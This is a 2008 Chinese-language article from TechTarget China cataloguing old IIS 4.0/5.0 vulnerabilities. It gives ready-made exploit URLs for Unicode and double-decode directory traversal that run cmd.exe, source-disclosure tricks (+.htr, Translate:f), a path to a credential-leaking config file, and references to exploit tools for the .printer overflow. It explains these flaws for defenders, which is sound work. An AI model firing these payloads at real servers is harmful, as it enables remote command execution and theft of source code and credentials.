IIS的十七个常见安全漏洞(二)

日期: 2008-01-09 作者:中国站长站 来源:TechTarget中国

        idc & .ida Bugs

        这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪的说有些还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida? 后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。 http://www.victim.com/anything.idc 或者 anything.idq

        +.htr Bug

        对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露: 
        http://www.victim.com/global.asa+.htr

        NT Site Server Adsamples

        通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

        http://www.victim.com/adsamples/config/site.csc

        /iisadmpwd

        IIS4.0中包含一个有趣的特征就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。 每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 .htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下: 
        c:winntsystem32inetsrviisadmpwd 
        Achg.htr 
        Aexp.htr 
        Aexp2.htr 
        Aexp2b.htr 
        Aexp3.htr 
        Aexp4.htr 
        Aexp4b.htr 
        Anot.htr 
        Anot3.htr 
        这样,攻击者可以通过暴力来猜测你的密码。

        Translate:f Bug 

        泄露asp文件源代码 存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中, 当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f 后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁 为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,所以在IIS4.0上也有这个漏洞。利用程序:trasn1.pl,trans2.pl

        Unicode

        IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

        http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
        http://www.victim.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir 
        http://www.victim.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir 
        http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

        可能需要察看以下几个目录 
        GET 
        /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
        HTTP/1.0rnrn 
        GET 
        /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
        HTTP/1.0rnrn 
        GET 
        /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
        HTTP/1.0rnrn 
        GET 
        /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
        HTTP/1.0rnrn 
        GET 
        /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c: 
        HTTP/1.0rnrn 
        eeye开发了工具包iishack1.5针对这一漏洞进行测试

        iis5.0 缓冲溢出

        微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时,IIS
5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的URL请求,其”Host:”域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。利用程序见iis5hack.zip

        IIS CGI文件名二次解码漏洞

        IIS在加载可执行CGI程序时,会进行两次解码。第一次解码是对CGI文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为”.exe”或”.com”等等。在文件名检查通过之后,IIS会再进行第二次解码。正常情况下,应该只对该CGI的参数进行解码,然而,IIS错误地将已经解码过的CGI文件名和CGI参数一起进行解码。这样,CGI文件名就被错误地解码了两次。

        通过精心构造CGI文件名,攻击者可以绕过IIS对文件名所作的安全检查,例如对”../”或”./”的检查,在某些条件下,攻击者可以执行任意系统命令。

        例如,对于’’这个字符,正常编码后是%5c。这三个字符对应的编码为: 
        ’%’ = %25 
        ’5’ = %35 
        ’c’ = %63 
        如果要对这三个字符再做一次编码,就可以有多种形式,例如: 
        %255c 
        %%35c 
        %%35%63 
        %25%35%63 
        … 
        因此,”..”就可以表示成”..%255c”或”..%%35c”等等形式。在经过第一次解码之后,变成”..%5c”。IIS会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成”..”。因此攻击者就可以使用”..”来进行目录遍历,执行web目录之外的任意程序。

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

电子邮件地址不会被公开。 必填项已用*标注

敬请读者发表评论,本站保留删除与本文无关和不雅评论的权力。

相关推荐